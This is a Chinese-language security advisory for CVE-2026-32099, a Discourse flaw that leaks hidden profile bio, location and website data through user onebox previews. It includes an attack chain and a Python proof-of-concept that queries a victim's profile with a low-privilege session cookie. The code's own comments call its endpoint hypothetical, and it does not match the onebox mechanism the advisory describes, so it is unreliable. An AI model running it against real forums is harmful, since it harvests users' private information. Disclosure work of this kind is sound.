IPBUF安全漏洞报告
English
CVE-2026-32099 CVSS 4.3 中危

CVE-2026-32099 Discourse 用户信息泄露漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-32099
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discourse

相关标签

信息泄露DiscourseCWE-200权限绕过

漏洞概述

Discourse是一个开源讨论平台。在特定版本之前,即使用户启用了hide_profile功能隐藏个人资料,其简介、位置和网站信息仍会通过用户onebox预览功能泄露。攻击者只需拥有低权限账号,即可通过请求隐藏用户的个人资料URL的onebox,获取本应隐藏的敏感信息。该漏洞已在特定版本中修复。

技术细节

该漏洞源于Discourse的onebox功能在解析用户个人资料URL时的权限校验逻辑不完善。正常情况下,当用户启用hide_profile选项后,其个人简介、地理位置和网站链接等敏感字段应当对其他用户不可见。然而,在受影响版本中,onebox预览组件在生成用户卡片信息时,未遵循隐私配置,直接从后端数据库提取并序列化了这些敏感数据。攻击者无需管理员权限,仅需注册一个普通账号,即可利用此缺陷。通过向服务器发送包含目标用户个人资料URL的请求,触发onebox渲染机制,服务器将返回包含完整隐藏信息的JSON或HTML片段,从而绕过了前端界面的访问控制,导致用户隐私信息泄露。

攻击链分析

STEP 1
侦察
攻击者确定目标Discourse论坛,并识别出启用了hide_profile功能的特定用户账号。
STEP 2
获取访问权限
攻击者在目标论坛注册一个普通账号,获取低权限用户身份。
STEP 3
利用漏洞
攻击者使用该账号向服务器发送请求,触发目标用户个人资料URL的onebox预览生成。
STEP 4
数据泄露
服务器响应中包含了本应隐藏的bio、location和website字段,攻击者解析响应获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_domain = "https://example.com" target_username = "victim_user" attacker_session_cookie = "_forum_session=..." # Headers to simulate a logged-in low-privilege user headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": attacker_session_cookie, "Accept": "application/json, text/javascript, */*; q=0.01" } # The vulnerable endpoint usually involves fetching the onebox or user card preview # This endpoint is hypothetical based on the description of requesting a onebox preview url = f"{target_domain}/users/{target_username}.json" try: response = requests.get(url, headers=headers) if response.status_code == 200: data = response.json() user_info = data.get('user', {}) # Check if hidden fields are exposed despite hide_profile being enabled bio = user_info.get('bio_raw', 'Not exposed') location = user_info.get('location', 'Not exposed') website = user_info.get('website', 'Not exposed') print(f"[+] Vulnerability Confirmed!") print(f"[+] Bio: {bio}") print(f"[+] Location: {location}") print(f"[+] Website: {website}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

防御指南

临时缓解措施
官方未提供临时缓解措施,建议尽快升级至修复版本以彻底解决该问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表